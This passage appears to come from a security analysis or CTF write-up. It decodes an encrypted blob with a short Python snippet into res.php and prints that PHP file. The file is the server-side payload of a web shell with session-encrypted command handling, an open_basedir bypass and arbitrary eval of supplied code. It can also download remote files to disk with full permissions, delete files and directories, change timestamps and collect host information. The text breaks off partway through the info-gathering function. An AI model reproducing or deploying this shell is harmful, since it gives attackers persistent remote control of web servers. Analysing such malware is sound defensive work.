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'
p1 = base64.b64decode(p)
res = decode(p1,key.encode())
f = open('res.php','wb')
f.write(res)
f.close()
得到res.php
$parameters=array();
$_SES=array();
function run($pms){
reDefSystemFunc();
$_SES=&getSession();
@session_start();
$sessioId=md5(session_id());
if (isset($_SESSION[$sessioId])){
$_SES=unserialize((S1MiwYYr(base64Decode($_SESSION[$sessioId],$sessioId),$sessioId)));
}
@session_write_close();
if (canCallGzipDecode()==1&&@isGzipStream($pms)){
$pms=gzdecode($pms);
}
formatParameter($pms);
if (isset($_SES["bypass_open_basedir"])&&$_SES["bypass_open_basedir"]==true){
@bypass_open_basedir();
}
$result=evalFunc();
if ($_SES!==null){
session_start();
$_SESSION[$sessioId]=base64_encode(S1MiwYYr(serialize($_SES),$sessioId));
@session_write_close();
}
if (canCallGzipEncode()){
$result=gzencode($result,6);
}
return $result;
}
function S1MiwYYr($D,$K){
for($i=0;$i<strlen($D);$i++) {
$D[$i] = $D[$i]^$K[($i+1)%15];
}
return $D;
}
function reDefSystemFunc(){
if (!function_exists("file_get_contents")) {
function file_get_contents($file) {
$f = @fopen($file,"rb");
$contents = false;
if ($f) {
do { $contents .= fgets($f); } while (!feof($f));
}
fclose($f);
return $contents;
}
}
if (!function_exists('gzdecode')&&function_existsEx("gzinflate")) {
function gzdecode($data)
{
return gzinflate(substr($data,10,-8));
}
}
}
function &getSession(){
global $_SES;
return $_SES;
}
function bypass_open_basedir(){
@$_FILENAME = @dirname($_SERVER['SCRIPT_FILENAME']);
$allFiles = @scandir($_FILENAME);
$cdStatus=false;
if ($allFiles!=null){
foreach ($allFiles as $fileName) {
if ($fileName!="."&&$fileName!=".."){
if (@is_dir($fileName)){
if (@chdir($fileName)===true){
$cdStatus=true;
break;
}
}
}
}
}
if(!@file_exists('bypass_open_basedir')&&!$cdStatus){
@mkdir('bypass_open_basedir');
}
if (!$cdStatus){
@chdir('bypass_open_basedir');
}
@ini_set('open_basedir','..');
@$_FILENAME = @dirname($_SERVER['SCRIPT_FILENAME']);
@$_path = str_replace("\\",'/',$_FILENAME);
@$_num = substr_count($_path,'/') + 1;
$_i = 0;
while($_i < $_num){
@chdir('..');
$_i++;
}
@ini_set('open_basedir','/');
if (!$cdStatus){
@rmdir($_FILENAME.'/'.'bypass_open_basedir');
}
}
function formatParameter($pms){
global $parameters;
$index=0;
$key=null;
while (true){
$q=$pms[$index];
if (ord($q)==0x02){
$len=bytesToInteger(getBytes(substr($pms,$index+1,4)),0);
$index+=4;
$value=substr($pms,$index+1,$len);
$index+=$len;
$parameters[$key]=$value;
$key=null;
}else{
$key.=$q;
}
$index++;
if ($index>strlen($pms)-1){
break;
}
}
}
function evalFunc(){
try{
@session_write_close();
$className=get("codeName");
$methodName=get("methodName");
$_SES=&getSession();
if ($methodName!=null){
if (strlen(trim($className))>0){
if ($methodName=="includeCode"){
return includeCode();
}else{
if (isset($_SES[$className])){
return eval($_SES[$className]);
}else{
return "{$className} no load";
}
}
}else{
if (function_exists($methodName)){
return $methodName();
}else{
return "function {$methodName} not exist";
}
}
}else{
return "methodName Is Null";
}
}catch (Exception $e){
return "ERROR://".$e -> getMessage();
}
}
function deleteDir($p){
$m=@dir($p);
while(@$f=$m->read()){
$pf=$p."/".$f;
@chmod($pf,0777);
if((is_dir($pf))&&($f!=".")&&($f!="..")){
deleteDir($pf);
@rmdir($pf);
}else if (is_file($pf)&&($f!=".")&&($f!="..")){
@unlink($pf);
}
}
$m->close();
@chmod($p,0777);
return @rmdir($p);
}
function deleteFile(){
$F=get("fileName");
if(is_dir($F)){
return deleteDir($F)?"ok":"fail";
}else{
return (file_exists($F)?@unlink($F)?"ok":"fail":"fail");
}
}
function setFileAttr(){
$type = get("type");
$attr = get("attr");
$fileName = get("fileName");
$ret = "Null";
if ($type!=null&&$attr!=null&&$fileName!=null) {
if ($type=="fileBasicAttr"){
if (@chmod($fileName,convertFilePermissions($attr))){
return "ok";
}else{
return "fail";
}
}else if ($type=="fileTimeAttr"){
if (@touch($fileName,$attr)){
return "ok";
}else{
return "fail";
}
}else{
return "no ExcuteType";
}
}else{
$ret="type or attr or fileName is null";
}
return $ret;
}
function fileRemoteDown(){
$url=get("url");
$saveFile=get("saveFile");
if ($url!=null&&$saveFile!=null) {
$data=@file_get_contents($url);
if ($data!==false){
if (@file_put_contents($saveFile,$data)!==false){
@chmod($saveFile,0777);
return "ok";
}else{
return "write fail";
}
}else{
return "read fail";
}
}else{
return "url or saveFile is null";
}
}
function copyFile(){
$srcFileName=get("srcFileName");
$destFileName=get("destFileName");
if (@is_file($srcFileName)){
if (copy($srcFileName,$destFileName)){
return "ok";
}else{
return "fail";
}
}else{
return "The target does not exist or is not a file";
}
}
function moveFile(){
$srcFileName=get("srcFileName");
$destFileName=get("destFileName");
if (rename($srcFileName,$destFileName)){
return "ok";
}else{
return "fail";
}
}
function getBasicsInfo()
{
$data = array();
$data['OsInfo'] = @php_uname();
$data['CurrentUser'] = @get_current_user();
